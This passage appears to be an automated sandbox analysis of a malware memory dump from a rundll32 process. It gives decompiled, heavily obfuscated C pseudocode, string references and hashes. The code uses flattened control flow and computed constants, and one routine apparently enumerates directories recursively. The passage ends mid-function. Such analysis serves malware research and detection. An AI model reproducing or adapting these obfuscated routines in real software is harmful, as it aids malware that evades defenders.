0x029c4d1f
0x029c4d2a
0x029c4d35
0x029c4d40
0x029c4d4d
0x029c4d4d
0x029c4d5b
0x029c4d8b
0x029c4dc0
0x029c4dca
0x029c4ddd
0x029c4e17
0x029c4e2f
0x029c4e38
0x029c4e52
0x029c4e57
0x029c4e5a
0x029c4e5c
0x029c4e62
0x00000000
0x029c4e62
0x029c4d5d
0x029c4d63
0x00000000
0x029c4d69
0x029c4d69
0x00000000
0x029c4d69
0x029c4d63
0x00000000
0x029c4d5b
0x029c4e69
0x029c4e8f
0x029c4e9f
0x029c4ed9
0x029c4eed
0x029c4ef4
0x029c4ef9
0x029c4f07
0x029c4f08
0x029c4f09
0x029c4f10
0x029c4f14
0x029c4f1c
0x029c4f1d
0x029c4f1e
0x029c4f23
0x029c4f26
0x029c4f2b
0x029c4f2b
0x029c4f2b
0x029c4f41
0x029c4f41

Strings

K|, xrefs: 029C4B37
0C{, xrefs: 029C4B3F
34, xrefs: 029C4916
aP-S, xrefs: 029C4C2E
E, xrefs: 029C4C36
g, xrefs: 029C4898
K|, xrefs: 029C4726
:=Z, xrefs: 029C483D

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: E$0C{$34$:=Z$K|$K|$aP-S$g
API String ID: 0-2882036941
Opcode ID: f529fd61dfd6138077e3f5b9a550e953bfc54072978b1b467905020723c0cb5c
Instruction ID: 605e3ee897565d4eb80e7585b6d414fbb9c174befce663131209890eec0a0704
Opcode Fuzzy Hash: f529fd61dfd6138077e3f5b9a550e953bfc54072978b1b467905020723c0cb5c
Instruction Fuzzy Hash: FC12017250D3819FD3A8CF65C58AA8BBBE2FBD5748F10891CE1D986260D7B18949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029CB7EC, Relevance: 10.3, Strings: 8, Instructions: 309
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E029CB7EC(signed int __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v524;
				char _v1044;
				short _v1588;
				short _v1590;
				intOrPtr _v1592;
				signed int _v1636;
				intOrPtr _v1668;
				char _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				signed int _v1776;
				signed int _v1780;
				signed int _v1784;
				signed int _v1788;
				signed int _v1792;
				signed int _v1796;
				signed int _v1800;
				signed int _v1804;
				signed int _v1808;
				signed int _v1812;
				signed int _v1816;
				void* __ecx;
				void* _t280;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				intOrPtr _t314;
				void* _t316;
				signed int _t322;
				void* _t345;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t362;
				void* _t363;
				void* _t364;

				_t314 = _a12;
				_push(_a24);
				_t362 = __edx;
				_push(_a20);
				_push(_a16);
				_push(_t314);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t280);
				_v1792 = 0x40fe64;
				_t364 = _t363 + 0x20;
				_v1792 = _v1792 | 0x075bde2c;
				_t316 = 0xf2ce37d;
				_t356 = 0x3b;
				_v1792 = _v1792 / _t356;
				_v1792 = _v1792 + 0xffff4104;
				_v1792 = _v1792 ^ 0x001f2fb2;
				_v1768 = 0x4a7072;
				_v1768 = _v1768 + 0x390e;
				_v1768 = _v1768 << 0xb;
				_v1768 = _v1768 ^ 0x55471dfb;
				_v1800 = 0x3a62e5;
				_v1800 = _v1800 >> 8;
				_v1800 = _v1800 + 0x6e02;
				_t357 = 0x43;
				_v1800 = _v1800 / _t357;
				_v1800 = _v1800 ^ 0x00003860;
				_v1808 = 0x8fdf58;
				_v1808 = _v1808 + 0xd47f;
				_t358 = 0x45;
				_v1808 = _v1808 * 0x3b;
				_v1808 = _v1808 * 0x5d;
				_v1808 = _v1808 ^ 0x1d7c95f5;
				_v1776 = 0xcb904c;
				_v1776 = _v1776 << 8;
				_v1776 = _v1776 << 0x10;
				_v1776 = _v1776 ^ 0x4c065fd0;
				_v1728 = 0xf001c2;
				_v1728 = _v1728 / _t358;
				_v1728 = _v1728 ^ 0x0004ac95;
				_v1772 = 0xb9fbd3;
				_v1772 = _v1772 * 0x34;
				_v1772 = _v1772 + 0xffff8c95;
				_v1772 = _v1772 ^ 0x25c60df9;
				_v1720 = 0x6b7ae2;
				_v1720 = _v1720 >> 0xd;
				_v1720 = _v1720 ^ 0x000315fd;
				_v1740 = 0x21fc40;
				_v1740 = _v1740 + 0xe088;
				_v1740 = _v1740 * 0x44;
				_v1740 = _v1740 ^ 0x09468969;
				_v1716 = 0x53af26;
				_v1716 = _v1716 | 0x906737cc;
				_v1716 = _v1716 ^ 0x9073c5e9;
				_v1764 = 0x779cb1;
				_v1764 = _v1764 << 3;
				_v1764 = _v1764 | 0x6a7a53b3;
				_v1764 = _v1764 ^ 0x6bf6ddd4;
				_v1708 = 0xb309dc;
				_v1708 = _v1708 + 0x7e27;
				_v1708 = _v1708 ^ 0x00be0123;
				_v1748 = 0x25bc03;
				_v1748 = _v1748 | 0x7b4db4a0;
				_t359 = 0x33;
				_v1748 = _v1748 * 0x56;
				_v1748 = _v1748 ^ 0x76dcec1c;
				_v1816 = 0x4e19dd;
				_v1816 = _v1816 << 0xe;
				_v1816 = _v1816 >> 1;
				_v1816 = _v1816 + 0x3399;
				_v1816 = _v1816 ^ 0x433875d3;
				_v1780 = 0x46b4a5;
				_v1780 = _v1780 | 0xbffcbe77;
				_v1780 = _v1780 ^ 0xbff5c871;
				_v1812 = 0x8f8362;
				_v1812 = _v1812 + 0xffff553c;
				_v1812 = _v1812 | 0xd6febac0;
				_v1812 = _v1812 + 0x6db0;
				_v1812 = _v1812 ^ 0xd6fd5df5;
				_v1712 = 0xbb022b;
				_v1712 = _v1712 ^ 0xc593c721;
				_v1712 = _v1712 ^ 0xc52d10e6;
				_v1756 = 0xa61bb8;
				_v1756 = _v1756 + 0xffff6d2d;
				_v1756 = _v1756 + 0x25c8;
				_v1756 = _v1756 ^ 0x00aae0df;
				_v1804 = 0x7245f9;
				_v1804 = _v1804 >> 0xd;
				_v1804 = _v1804 << 0x10;
				_v1804 = _v1804 * 0x24;
				_v1804 = _v1804 ^ 0x808918f1;
				_v1704 = 0x188da2;
				_v1704 = _v1704 << 6;
				_v1704 = _v1704 ^ 0x0621291c;
				_v1700 = 0x2b28ac;
				_v1700 = _v1700 | 0x835a29bf;
				_v1700 = _v1700 ^ 0x83751991;
				_v1784 = 0xbe3741;
				_v1784 = _v1784 << 4;
				_v1784 = _v1784 * 0x1a;
				_v1784 = _v1784 ^ 0x3517e86c;
				_v1732 = 0x8a4796;
				_v1732 = _v1732 | 0xec683671;
				_v1732 = _v1732 ^ 0xecefb56e;
				_v1724 = 0xafb559;
				_v1724 = _v1724 / _t359;
				_v1724 = _v1724 ^ 0x00027f36;
				_v1760 = 0xe23551;
				_v1760 = _v1760 + 0xffffea41;
				_v1760 = _v1760 + 0x2ded;
				_v1760 = _v1760 ^ 0x00ed6765;
				_v1744 = 0x7fb5c8;
				_v1744 = _v1744 << 6;
				_v1744 = _v1744 << 7;
				_v1744 = _v1744 ^ 0xf6b6e4c0;
				_v1752 = 0x2393f0;
				_v1752 = _v1752 | 0xb3e88c13;
				_v1752 = _v1752 << 3;
				_v1752 = _v1752 ^ 0x9f53b925;
				_v1796 = 0xad07a1;
				_v1796 = _v1796 >> 9;
				_v1796 = _v1796 + 0xffff6648;
				_v1796 = _v1796 ^ 0xedd7d300;
				_v1796 = _v1796 ^ 0x12298d89;
				_v1788 = 0x464050;
				_v1788 = _v1788 * 0x53;
				_v1788 = _v1788 * 0x4b;
				_v1788 = _v1788 | 0x90f39a79;
				_v1788 = _v1788 ^ 0xbcf5e6c4;
				_v1736 = 0x126672;
				_v1736 = _v1736 ^ 0xc76f4854;
				_v1736 = _v1736 + 0xea09;
				_v1736 = _v1736 ^ 0xc778d571;
				_t355 = _v1732;
				while(1) {
					L1:
					_t345 = 0x2e;
					L2:
					while(_t316 != 0x2904ea) {
						if(_t316 == 0x23236cb) {
							_t301 = E029CF324(_v1744, _v1752,  &_v1636, _v1796, _t355);
							_t364 = _t364 + 0xc;
							asm("sbb ecx, ecx");
							_t322 =  ~_t301 & 0x07e4fc73;
							L21:
							_t316 = _t322 + 0x2904ea;
							while(1) {
								L1:
								_t345 = 0x2e;
								goto L2;
							}
						}
						if(_t316 == 0x80e015d) {
							_t302 = _v1792;
							__eflags = _v1636 & _t302;
							if((_v1636 & _t302) == 0) {
								_t305 = _a20( &_v1636,  &_v1696);
								asm("sbb ecx, ecx");
								_t322 =  ~_t305 & 0x020931e1;
								__eflags = _t322;
								goto L21;
							}
							__eflags = _v1592 - _t345;
							if(_v1592 != _t345) {
								L18:
								__eflags = _t362;
								if(__eflags != 0) {
									_push(0x29c10dc);
									E029E06A6(__eflags, _t314, _v1780, E029E0AD3(_v1748, _v1816, __eflags), _v1812, _v1712,  &_v1044, _v1756);
									E029CB7EC(_t362, _v1704, _a8,  &_v1044, _v1700, _a20, _v1784);
									_t305 = E029D2EED(_v1732, _v1724, _v1760, _t309);
									_t364 = _t364 + 0x3c;
									_t345 = 0x2e;
								}
								L17:
								_t316 = 0x23236cb;
								continue;
							}
							__eflags = _v1590;
							if(__eflags == 0) {
								goto L17;
							}
							__eflags = _v1590 - _t345;
							if(_v1590 != _t345) {
								goto L18;
							}
							__eflags = _v1588;
							if(__eflags != 0) {
								goto L18;
							}
							goto L17;
						}
						if(_t316 == 0xa27b548) {
							_t305 = E029C18AC( &_v524,  &_v1636, _v1764, _v1708);
							_t355 = _t305;
							__eflags = _t305 - 0xffffffff;
							if(__eflags == 0) {
								L25:
								return _t305;
							}
							_t316 = 0x80e015d;
							while(1) {
								L1:
								_t345 = 0x2e;
								goto L2;
							}
						}
						if(_t316 == 0xe5754a6) {
							_push(0x29c10bc);
							E029D8804(_v1808, __eflags,  &_v524, _v1776, E029E0AD3(_v1768, _v1800, __eflags), _v1728, _v1772, _t314);
							_t305 = E029D2EED(_v1720, _v1740, _v1716, _t306);
							_t364 = _t364 + 0x20;
							_t316 = 0xa27b548;
							goto L1;
						}
						if(_t316 != 0xf2ce37d) {
							L24:
							__eflags = _t316 - 0x77a0f0d;
							if(__eflags != 0) {
								continue;
							}
							goto L25;
						}
						_v1668 = _t314;
						_t316 = 0xe5754a6;
					}
					E029E2729(_v1788, _t355, _v1736);
					_t316 = 0x77a0f0d;
					_t345 = 0x2e;
					goto L24;
				}
			}

0x029cb7f3
0x029cb7fd
0x029cb804
0x029cb806
0x029cb80d
0x029cb814
0x029cb815
0x029cb81c
0x029cb823
0x029cb825
0x029cb82a
0x029cb832
0x029cb835
0x029cb843
0x029cb84a
0x029cb84f
0x029cb855
0x029cb85d
0x029cb865
0x029cb86d
0x029cb875
0x029cb87a
0x029cb882
0x029cb88a
0x029cb88f
0x029cb89b
0x029cb8a0
0x029cb8a6
0x029cb8ae
0x029cb8b6
0x029cb8c3
0x029cb8c4
0x029cb8cd
0x029cb8d1
0x029cb8d9
0x029cb8e1
0x029cb8e6
0x029cb8eb
0x029cb8f3
0x029cb901
0x029cb905
0x029cb90d
0x029cb91a
0x029cb91e
0x029cb926
0x029cb92e
0x029cb936
0x029cb93b
0x029cb943
0x029cb94b
0x029cb958
0x029cb95c
0x029cb964
0x029cb96c
0x029cb974
0x029cb97c
0x029cb984
0x029cb989
0x029cb991
0x029cb999
0x029cb9a4
0x029cb9b1
0x029cb9bc
0x029cb9c4
0x029cb9d3
0x029cb9d4
0x029cb9d8
0x029cb9e0
0x029cb9e8
0x029cb9ed
0x029cb9f1
0x029cb9f9
0x029cba01
0x029cba09
0x029cba11
0x029cba19
0x029cba21
0x029cba29
0x029cba31
0x029cba39
0x029cba41
0x029cba49
0x029cba51
0x029cba59
0x029cba61
0x029cba69
0x029cba71
0x029cba79
0x029cba81
0x029cba86
0x029cba90
0x029cba94
0x029cba9c
0x029cbaa7
0x029cbaaf
0x029cbaba
0x029cbac5
0x029cbad0
0x029cbadb
0x029cbae3
0x029cbaed
0x029cbaf1
0x029cbaf9
0x029cbb01
0x029cbb09
0x029cbb11
0x029cbb1f
0x029cbb23
0x029cbb2b
0x029cbb33
0x029cbb3b
0x029cbb43
0x029cbb4b
0x029cbb53
0x029cbb58
0x029cbb5d
0x029cbb65
0x029cbb6d
0x029cbb75
0x029cbb7a
0x029cbb82
0x029cbb8a
0x029cbb8f
0x029cbb97
0x029cbb9f
0x029cbba7
0x029cbbb4
0x029cbbbd
0x029cbbc1
0x029cbbc9
0x029cbbd1
0x029cbbd9
0x029cbbe1
0x029cbbe9
0x029cbbf1
0x029cbbf5
0x029cbbf5
0x029cbbf7
0x00000000
0x029cbbf8
0x029cbc0a
0x029cbdfa
0x029cbdff
0x029cbe06
0x029cbe08
0x029cbdda
0x029cbdda
0x029cbbf5
0x029cbbf5
0x029cbbf7
0x00000000
0x029cbbf7
0x029cbbf5
0x029cbc16
0x029cbcd7
0x029cbcdb
0x029cbce2
0x029cbdc7
0x029cbdd2
0x029cbdd4
0x029cbdd4
0x00000000
0x029cbdd4
0x029cbce8
0x029cbcf0
0x029cbd1c
0x029cbd1c
0x029cbd1e
0x029cbd28
0x029cbd59
0x029cbd8f
0x029cbda7
0x029cbdac
0x029cbdb1
0x029cbdb1
0x029cbd12
0x029cbd12
0x00000000
0x029cbd12
0x029cbcf2
0x029cbcfb
0x00000000
0x00000000
0x029cbcfd
0x029cbd05
0x00000000
0x00000000
0x029cbd07
0x029cbd10
0x00000000
0x00000000
0x00000000
0x029cbd10
0x029cbc22
0x029cbcbb
0x029cbcc0
0x029cbcc4
0x029cbcc7
0x029cbe3e
0x029cbe3e
0x029cbe3e
0x029cbccd
0x029cbbf5
0x029cbbf5
0x029cbbf7
0x00000000
0x029cbbf7
0x029cbbf5
0x029cbc2a
0x029cbc4e
0x029cbc75
0x029cbc90
0x029cbc95
0x029cbc98
0x00000000
0x029cbc98
0x029cbc32
0x029cbe28
0x029cbe28
0x029cbe2e
0x00000000
0x00000000
0x00000000
0x029cbe2e
0x029cbc38
0x029cbc3f
0x029cbc3f
0x029cbe1a
0x029cbe22
0x029cbe27
0x00000000
0x029cbe27

Strings

rpJ, xrefs: 029CB865
b:, xrefs: 029CB882
'~, xrefs: 029CB9A4
q6h, xrefs: 029CBB01
P@F, xrefs: 029CBBA7
`8, xrefs: 029CB8A6
zk, xrefs: 029CB92E
eg, xrefs: 029CBB43

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: '~$P@F$`8$eg$q6h$rpJ$b:$zk
API String ID: 0-3468609645
Opcode ID: d9413157bad432f835772f55c677a68a9df78f43c6767309857fb9789db34c13
Instruction ID: 18896ea9e66761bb337a348f253d18eb2c4b307b361567f862e8ecf84b065185
Opcode Fuzzy Hash: d9413157bad432f835772f55c677a68a9df78f43c6767309857fb9789db34c13
Instruction Fuzzy Hash: F1E122B14083809FC768CF65C58AA5FBBE5FBC4758F208A1DF29A86260D7B58548CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D77A7, Relevance: 10.3, Strings: 8, Instructions: 275
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E029D77A7(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				void* _t279;
				void* _t306;
				intOrPtr _t311;
				void* _t314;
				intOrPtr* _t317;
				void* _t319;
				intOrPtr _t343;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t351;
				signed int _t352;
				void* _t354;
				void* _t355;

				_t317 = _a8;
				_t345 = _a4;
				_push(_a16);
				_push(_a12);
				_push(_t317);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t279);
				_v12 = 0xb35823;
				_t343 = 0;
				_v8 = 0;
				_t355 = _t354 + 0x18;
				_v52 = 0x5f70f;
				_t319 = 0x2850cfc;
				_t346 = 0x2d;
				_v52 = _v52 * 0x4a;
				_v52 = _v52 * 0x37;
				_v52 = _v52 ^ 0x5ed5d87b;
				_v72 = 0xac0067;
				_v72 = _v72 + 0xda9f;
				_v72 = _v72 / _t346;
				_v72 = _v72 ^ 0x0003d75a;
				_v24 = 0xad63b0;
				_v24 = _v24 << 4;
				_v24 = _v24 ^ 0x0ad63b00;
				_v108 = 0x3c5e3b;
				_v108 = _v108 + 0x2f0c;
				_v108 = _v108 >> 4;
				_t347 = 0xd;
				_v108 = _v108 * 0x7e;
				_v108 = _v108 ^ 0x01dcd858;
				_v44 = 0x32c28a;
				_v44 = _v44 ^ 0x3f3f01ee;
				_v44 = _v44 * 0x7b;
				_v44 = _v44 ^ 0x4b9ce10c;
				_v76 = 0x3ddbfc;
				_v76 = _v76 >> 2;
				_v76 = _v76 | 0x9bb0ab60;
				_v76 = _v76 ^ 0x9bbfffff;
				_v120 = 0xf943ab;
				_v120 = _v120 | 0xc7c026f8;
				_v120 = _v120 ^ 0x3ff0ca81;
				_v120 = _v120 << 9;
				_v120 = _v120 ^ 0x135af400;
				_v100 = 0x8b91cc;
				_v100 = _v100 * 0x4e;
				_v100 = _v100 / _t347;
				_v100 = _v100 >> 4;
				_v100 = _v100 ^ 0x00385303;
				_v104 = 0x8f66d0;
				_v104 = _v104 + 0x8dad;
				_v104 = _v104 * 0x6c;
				_v104 = _v104 >> 6;
				_v104 = _v104 ^ 0x00f24a23;
				_v48 = 0x2a1ce9;
				_v48 = _v48 + 0xffffc76e;
				_v48 = _v48 | 0x94fbc901;
				_v48 = _v48 ^ 0x94fb8f6b;
				_v28 = 0xa0e7f8;
				_v28 = _v28 ^ 0xe50e8d20;
				_v28 = _v28 ^ 0xe5afb84b;
				_v56 = 0x37101c;
				_v56 = _v56 + 0xffff3178;
				_v56 = _v56 << 8;
				_v56 = _v56 ^ 0x3646486a;
				_v112 = 0x2380b3;
				_t348 = 0x7c;
				_v112 = _v112 / _t348;
				_v112 = _v112 << 2;
				_v112 = _v112 << 6;
				_v112 = _v112 ^ 0x004d709f;
				_v32 = 0xa7aa36;
				_t349 = 0xc;
				_v32 = _v32 / _t349;
				_v32 = _v32 ^ 0x00093c5d;
				_v116 = 0xd3367b;
				_t350 = 0x48;
				_v116 = _v116 * 0x11;
				_v116 = _v116 | 0xd6138dc5;
				_v116 = _v116 << 3;
				_v116 = _v116 ^ 0xf0b48521;
				_v60 = 0xd01cc4;
				_v60 = _v60 ^ 0x5b615a1e;
				_v60 = _v60 / _t350;
				_v60 = _v60 ^ 0x014bce76;
				_v124 = 0xe44278;
				_v124 = _v124 + 0x3363;
				_v124 = _v124 + 0x6e81;
				_t351 = 0x62;
				_v124 = _v124 * 0x59;
				_v124 = _v124 ^ 0x4f9bf5bc;
				_v64 = 0xc011b2;
				_v64 = _v64 | 0x61522488;
				_v64 = _v64 >> 4;
				_v64 = _v64 ^ 0x06119d00;
				_v68 = 0xcc6b87;
				_v68 = _v68 ^ 0xe050b22e;
				_v68 = _v68 + 0xedae;
				_v68 = _v68 ^ 0xe09fb4c2;
				_v36 = 0x8736e8;
				_v36 = _v36 + 0xffffc713;
				_v36 = _v36 ^ 0x008d8f44;
				_v80 = 0x289ee5;
				_v80 = _v80 << 6;
				_v80 = _v80 + 0xffff2992;
				_v80 = _v80 ^ 0x0a2a5a25;
				_v128 = 0x3c4dae;
				_v128 = _v128 << 1;
				_v128 = _v128 << 0xf;
				_v128 = _v128 + 0xffffb8bf;
				_v128 = _v128 ^ 0x4dad55d9;
				_v84 = 0xd4a908;
				_v84 = _v84 / _t351;
				_v84 = _v84 ^ 0x4ca71de2;
				_v84 = _v84 ^ 0x4ca9e37f;
				_v88 = 0x336959;
				_v88 = _v88 ^ 0xddb5ca70;
				_v88 = _v88 + 0xc2c;
				_v88 = _v88 + 0xf661;
				_v88 = _v88 ^ 0xdd87f50d;
				_v92 = 0xde756f;
				_v92 = _v92 ^ 0x47999631;
				_v92 = _v92 + 0x1ea5;
				_v92 = _v92 | 0x4f1073f6;
				_v92 = _v92 ^ 0x4f5c16aa;
				_v40 = 0x1e7d4a;
				_v40 = _v40 ^ 0x25c6f90f;
				_t352 = 0x16;
				_v40 = _v40 * 0x18;
				_v40 = _v40 ^ 0x8c453913;
				_v96 = 0x30017f;
				_v96 = _v96 << 8;
				_v96 = _v96 + 0xffffa399;
				_v96 = _v96 / _t352;
				_v96 = _v96 ^ 0x0224b19e;
				while(_t319 != 0x2850cfc) {
					if(_t319 == 0x50cde1c) {
						_push(_t319);
						_t306 = E029C938F( *((intOrPtr*)(_t345 + 4)), _v100, _v104, _v48,  &_v16,  *_t345, _v52, _t319, _v24, _v28, _t343, _v56, _v108, _v112, _v32,  *((intOrPtr*)( *0x29e5be0 + 0x70)));
						_t355 = _t355 + 0x3c;
						if(_t306 == _v44) {
							_t319 = 0xaf2ad2d;
							continue;
						}
					} else {
						if(_t319 == 0x9211359) {
							E029CF699(_v88, _v20, _v92, _v40, _v96);
						} else {
							if(_t319 == 0xaf2ad2d) {
								_push(_t319);
								_t311 = E029D6F53(_v16);
								_v20 = _t311;
								if(_t311 != 0) {
									_t319 = 0xe14d48c;
									continue;
								}
							} else {
								if(_t319 != 0xe14d48c) {
									L13:
									if(_t319 != 0x1aa43b4) {
										continue;
									} else {
									}
								} else {
									_push(_t319);
									_t314 = E029C938F( *((intOrPtr*)(_t345 + 4)), _v124, _v64, _v68,  &_v16,  *_t345, _v72, _t319, _v76, _v36, _v20, _v80, _v16, _v128, _v84,  *((intOrPtr*)( *0x29e5be0 + 0x70)));
									_t355 = _t355 + 0x3c;
									if(_t314 == _v120) {
										 *_t317 = _v20;
										_t343 = 1;
										 *((intOrPtr*)(_t317 + 4)) = _v16;
									} else {
										_t319 = 0x9211359;
										continue;
									}
								}
							}
						}
					}
					return _t343;
				}
				_t319 = 0x50cde1c;
				goto L13;
			}

0x029d77ae
0x029d77b7
0x029d77bf
0x029d77c6
0x029d77cd
0x029d77ce
0x029d77cf
0x029d77d0
0x029d77d1
0x029d77d6
0x029d77e1
0x029d77e3
0x029d77ea
0x029d77ed
0x029d77fc
0x029d7803
0x029d7806
0x029d780f
0x029d7813
0x029d781b
0x029d7823
0x029d7833
0x029d7837
0x029d783f
0x029d784a
0x029d7852
0x029d785d
0x029d7865
0x029d786d
0x029d7877
0x029d7878
0x029d787c
0x029d7884
0x029d788c
0x029d7899
0x029d789d
0x029d78a5
0x029d78ad
0x029d78b2
0x029d78ba
0x029d78c2
0x029d78ca
0x029d78d2
0x029d78da
0x029d78df
0x029d78e7
0x029d78f4
0x029d78fe
0x029d7902
0x029d7907
0x029d790f
0x029d7917
0x029d7924
0x029d7928
0x029d792d
0x029d7935
0x029d793d
0x029d7945
0x029d794d
0x029d7955
0x029d795d
0x029d7965
0x029d796d
0x029d7975
0x029d797f
0x029d7984
0x029d798c
0x029d799a
0x029d799f
0x029d79a5
0x029d79aa
0x029d79af
0x029d79b7
0x029d79c3
0x029d79c8
0x029d79ce
0x029d79d6
0x029d79e3
0x029d79e6
0x029d79ea
0x029d79f2
0x029d79f7
0x029d79ff
0x029d7a07
0x029d7a17
0x029d7a1b
0x029d7a23
0x029d7a2b
0x029d7a33
0x029d7a40
0x029d7a41
0x029d7a45
0x029d7a4d
0x029d7a55
0x029d7a5d
0x029d7a62
0x029d7a6a
0x029d7a72
0x029d7a7a
0x029d7a82
0x029d7a8a
0x029d7a92
0x029d7a9a
0x029d7aa2
0x029d7aaa
0x029d7aaf
0x029d7ab7
0x029d7abf
0x029d7ac7
0x029d7acb
0x029d7ad0
0x029d7ad8
0x029d7ae0
0x029d7aee
0x029d7af2
0x029d7afa
0x029d7b02
0x029d7b0a
0x029d7b12
0x029d7b1a
0x029d7b22
0x029d7b2a
0x029d7b32
0x029d7b3a
0x029d7b42
0x029d7b4a
0x029d7b52
0x029d7b5c
0x029d7b6b
0x029d7b6c
0x029d7b70
0x029d7b78
0x029d7b80
0x029d7b85
0x029d7b98
0x029d7b9c
0x029d7ba4
0x029d7bb2
0x029d7c7a
0x029d7cc1
0x029d7cc6
0x029d7ccd
0x029d7ccf
0x00000000
0x029d7ccf
0x029d7bb8
0x029d7bbe
0x029d7d18
0x029d7bc4
0x029d7bca
0x029d7c55
0x029d7c56
0x029d7c5b
0x029d7c65
0x029d7c6b
0x00000000
0x029d7c6b
0x029d7bcc
0x029d7bd2
0x029d7cdb
0x029d7ce1
0x00000000
0x00000000
0x029d7ce7
0x029d7bd8
0x029d7bdd
0x029d7c2a
0x029d7c2f
0x029d7c36
0x029d7cf2
0x029d7cf4
0x029d7cfc
0x029d7c3c
0x029d7c3c
0x00000000
0x029d7c3c
0x029d7c36
0x029d7bd2
0x029d7bca
0x029d7bbe
0x029d7d2c
0x029d7d2c
0x029d7cd9
0x00000000

Strings

;^<, xrefs: 029D785D
%Z*, xrefs: 029D7AB7
g, xrefs: 029D781B
jHF6, xrefs: 029D7984
xB, xrefs: 029D7A23
Yi3, xrefs: 029D7B02
c3, xrefs: 029D7A2B
]<, xrefs: 029D79CE

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: %Z*$;^<$Yi3$]<$c3$g$jHF6$xB
API String ID: 0-3236717411
Opcode ID: 397f7e83adf4109b88111f94c340741f18cedfef80fc75dccc58270c8d2a4c23
Instruction ID: 8b4e5a177e3418eb0dce4e27614fd9c2f418498c43593633be7270988c7e3ff6
Opcode Fuzzy Hash: 397f7e83adf4109b88111f94c340741f18cedfef80fc75dccc58270c8d2a4c23
Instruction Fuzzy Hash: DED10CB24083809FD768CF65C589A5BFBE1FBC4748F50891DF2968A260D7B29909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D710D, Relevance: 10.2, Strings: 8, Instructions: 235
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E029D710D(void* __ecx) {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				void* _t272;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				void* _t312;
				void* _t313;
				signed int* _t316;

				_t316 =  &_v1672;
				_v1588 = 0x9be929;
				_v1588 = _v1588 << 0x10;
				_v1588 = _v1588 ^ 0xe92e0db6;
				_v1596 = 0xefb4d;
				_v1596 = _v1596 << 0xe;
				_v1596 = _v1596 ^ 0xbedbf0f4;
				_v1656 = 0xf4618b;
				_v1656 = _v1656 >> 0xd;
				_v1656 = _v1656 << 0xd;
				_v1656 = _v1656 + 0xffff48eb;
				_v1656 = _v1656 ^ 0x00ff6e6a;
				_v1624 = 0xf777ef;
				_v1624 = _v1624 ^ 0xb1e758e7;
				_t312 = __ecx;
				_t313 = 0xe9a37bd;
				_t284 = 0x63;
				_v1624 = _v1624 / _t284;
				_v1624 = _v1624 ^ 0x01c35fcc;
				_v1604 = 0xce5610;
				_v1604 = _v1604 >> 9;
				_v1604 = _v1604 >> 4;
				_v1604 = _v1604 ^ 0x000bc6c1;
				_v1580 = 0x4c4a47;
				_t39 =  &_v1580; // 0x4c4a47
				_t285 = 0x1c;
				_v1580 =  *_t39 * 0xa;
				_v1580 = _v1580 ^ 0x02fc6b1b;
				_v1664 = 0x5b991d;
				_v1664 = _v1664 ^ 0xbcb68de4;
				_v1664 = _v1664 << 1;
				_v1664 = _v1664 * 0x39;
				_v1664 = _v1664 ^ 0x21971d3f;
				_v1564 = 0xe454a9;
				_v1564 = _v1564 ^ 0x737d3de0;
				_v1564 = _v1564 ^ 0x739509af;
				_v1648 = 0xafda8f;
				_v1648 = _v1648 + 0xffff3588;
				_v1648 = _v1648 + 0xc326;
				_v1648 = _v1648 << 1;
				_v1648 = _v1648 ^ 0x01575429;
				_v1628 = 0x49c36b;
				_v1628 = _v1628 ^ 0x6b772318;
				_v1628 = _v1628 << 6;
